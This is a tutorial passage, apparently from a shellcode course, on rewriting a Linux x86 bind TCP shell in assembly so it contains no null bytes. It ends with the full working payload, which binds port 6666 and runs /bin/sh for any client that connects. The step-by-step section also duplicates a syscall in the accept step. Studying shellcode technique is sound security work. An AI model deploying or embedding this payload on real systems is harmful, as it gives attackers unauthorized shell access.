We need to get rid of the null-bytes. In assembly, alternative instructions should be used which mitigate the null-bytes. Numerous methods exist, such as XOR’ing a registry by itself and moving the XOR’ed value to the destination register, when in need for string termination.
For reasons of saving pages explaining why every modified instruction is modified, I’ve included comment sections for every function which explains the modifications.
Creating a socket
When creating a socket, directly moving the value of 0x66 or 102 into EAX generates null-bytes. The same goes for moving 0x1 into EBX.
Generally, first pushing a value on the stack, then popping it into the designated registry, avoids generating null-bytes. Directly pushing a NULL value obviously generates a null-byte, so one way to mitigate this issue was to clear registry by XOR’ing by itself and to push the values.
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 1 ; socketcall type 1 (sys_socket)
; push 0 ; IPPROTO_IP 0
; push 1 ; SOCK_STREAM 1
; push 2 ; AF_INET 2
; END OLD CODE COMMENTED DUE TO NULL BYTES
push 102 ; socketcall, push on the stack
pop eax ; Put the value of 102 in EAX
push 1 ; socketcall type 1 (sys_socket), push on the stack
pop ebx ; Put the value of 1 in EBX
; Socket arguments
xor esi, esi ; Clear ESI
push esi ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
; mov edx, eax ; Saved socket FD in EDX
xchg edx, eax ; Saved socket FD in EDX, via xhg, saves a byte
Setting variables for socket
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; push 0 ; INADDR_ANY
; mov ebx, 2 ; socketcall type 2 (sys_bind)
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
push esi ; INADDR_ANY, still being clean after previous xor, push 0 on stack
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp ; Save pointer to sockaddr_in structure
Bind the port
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 2 ; socketcall type 2 (sys_bind)
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 2 ; socketcall type 2 (sys_bind)
; sys_bind arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
Listen on address
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 4 ; socketcall type 4 (sys_listen)
; push 0 ; Queue size
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 4 ; socketcall type 4 (sys_listen)
; sys_listen arguments
push esi ; Still being cleared and containing null, push 0
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
Accept connections
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 5 ; socketcall type 5 (sys_accept)
; push 0 ; NULL
; push 0 ; NULL
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 5 ; socketcall type 5 (sys_accept)
; sys_accept arguments
push esi ; Still being NULL
push esi ; Still being NULL
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
; mov edx, eax ; Store the FD socket being returned
xchg edx, eax ; Store the FD socket being return, using xchg saving a byte
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
; mov edx, eax ; Store the FD socket being returned
xchg edx, eax ; Store the FD socket being return, using xchg saving a byte
Redirect input, output and errors
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 63 ; syscall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 0 ; STDIN
; mov eax, 63 ; socketcall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 1 ; STDOUT
; mov eax, 63 ; socketcall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 2 ; STDERR
; END OLD CODE COMMENTED DUE TO NULL BYTES
; STDIN
mov al, 63 ; syscall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
xchg ebx, edx ; The used Client FD stored previously in EDX, using xchg saving a byte
mov ecx, esi ; Still being NULL ESI, put 0
int 0x80 ; Syscall
; STDOUT
mov al, 63 ; syscall, dup2
inc cl ; Put 1 in ECX
int 0x80 ; Syscall
; STDERR
mov al, 63 ; syscall, dup2
inc cl ; Put 2 in ECX
int 0x80 ; Syscall, calling with arguments
Execute shell
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 11 ; syscall, execve
; push 0 ; Terminate string with null byte
; mov ecx, 0 ; NULL
; mov edx, 0 ; NULL
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push esi ; Null terminate string
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, esi ; NULL
; mov edx, esi ; NULL
xchg edx, esi ; NULL, using chg saving a byte
int 0x80 ; Do some magic
Compile and recheck for NULL-bytes
When we compile and check for NULL-bytes with objdump, no 0x00 bytes occur. However, using our script to check for so-called bad-characters an 0x0a appears: this might break shellcode due to CRLF (Carriage Return / Line Feed) behavior in some applications.
Although the 0x0a character appears, it does not oppose an issue later on. Keep in mind that not every application, shellcode, OS is as gracious when handling these kind of characters.
The 0x0a character pops up when pushing the port number 6666 (0x1a0a). The next assignment shows a simple mitigation handling these issues.
$ ../compile_asm.sh bind_tcp_initial_nonull
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ objdump -M intel -d bind_tcp_initial_nonull | egrep 00
$
$ ../check_badchars.sh bind_tcp_initial_nonull
[+] Checking ...
x0a
[+] Done!
$ objdump -M intel -d bind_tcp_initial_nonull | egrep 0a
8048073: 66 68 1a 0a pushw 0xa1a
...<SNIP>...
Entire ASM file
; Linux x86 - Bind TCP shell
; Filename: bind_tcp_initial_nonull.asm
; Author: Hodorsec
global _start
section .text
_start:
; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 1 ; socketcall type 1 (sys_socket)
; push 0 ; IPPROTO_IP 0
; push 1 ; SOCK_STREAM 1
; push 2 ; AF_INET 2
; END OLD CODE COMMENTED DUE TO NULL BYTES
push 102 ; socketcall, push on the stack
pop eax ; Put the value of 102 in EAX
push 1 ; socketcall type 1 (sys_socket), push on the stack
pop ebx ; Put the value of 1 in EBX
; Socket arguments
xor esi, esi ; Clear ESI
push esi ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2
mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
; mov edx, eax ; Saved socket FD in EDX
xchg edx, eax ; Saved socket FD in EDX, via xhg, saves a byte
; Setting variables for socket
; Struct sockaddr_in
; sockaddr.sin_family = AF_INET; // Address family TCP
; sockaddr.sin_port = htons(port); // Port number as declared by 'port'
; sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; push 0 ; INADDR_ANY
; mov ebx, 2 ; socketcall type 2 (sys_bind)
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
push esi ; INADDR_ANY, still being clean after previous xor, push 0 on stack
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp ; Save pointer to sockaddr_in structure
; Bind the port
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; bind(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 2 ; socketcall type 2 (sys_bind)
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 2 ; socketcall type 2 (sys_bind)
; sys_bind arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket
mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments
; Listen on address
; int listen(int sockfd, int backlog);
; listen(sock, 0);
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 4 ; socketcall type 4 (sys_listen)
; push 0 ; Queue size
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 4 ; socketcall type 4 (sys_listen)
; sys_listen arguments
push esi ; Still being cleared and containing null, push 0
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
; Accept connections
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; client = accept(sock, NULL, NULL);
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 102 ; socketcall
; mov ebx, 5 ; socketcall type 5 (sys_accept)
; push 0 ; NULL
; push 0 ; NULL
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 102 ; socketcall
mov bl, 5 ; socketcall type 5 (sys_accept)
; sys_accept arguments
push esi ; Still being NULL
push esi ; Still being NULL
push edx ; Sockfd stored previously in EDX
mov ecx, esp ; Argument array pointer
int 0x80 ; Syscall, calling with arguments
; mov edx, eax ; Store the FD socket being returned
xchg edx, eax ; Store the FD socket being return, using xchg saving a byte
; Redirect input, output and errors
; Redirect input, output and errors
; int dup2(int oldfd, int newfd);
; dup2(client, 0); // STDIN
; dup2(client, 1); // STDOUT
; dup2(client, 2); // STDERR
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 63 ; syscall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 0 ; STDIN
; mov eax, 63 ; socketcall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 1 ; STDOUT
; mov eax, 63 ; socketcall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
; mov ecx, 2 ; STDERR
; END OLD CODE COMMENTED DUE TO NULL BYTES
; STDIN
mov al, 63 ; syscall, dup2
; mov ebx, edx ; The used Client FD stored previously in EDX
xchg ebx, edx ; The used Client FD stored previously in EDX, using xchg saving a byte
mov ecx, esi ; Still being NULL ESI, put 0
int 0x80 ; Syscall
; STDOUT
mov al, 63 ; syscall, dup2
inc cl ; Put 1 in ECX
int 0x80 ; Syscall
; STDERR
mov al, 63 ; syscall, dup2
inc cl ; Put 2 in ECX
int 0x80 ; Syscall, calling with arguments
; Execute shell
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
; BEGIN OLD CODE COMMENTED DUE TO NULL BYTES
; mov eax, 11 ; syscall, execve
; push 0 ; Terminate string with null byte
; mov ecx, 0 ; NULL
; mov edx, 0 ; NULL
; END OLD CODE COMMENTED DUE TO NULL BYTES
mov al, 11 ; syscall, execve
; Push “/bin//sh” on the stack
push esi ; Null terminate string
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, esi ; NULL
; mov edx, esi ; NULL
xchg edx, esi ; NULL, using chg saving a byte
int 0x80 ; Do some magic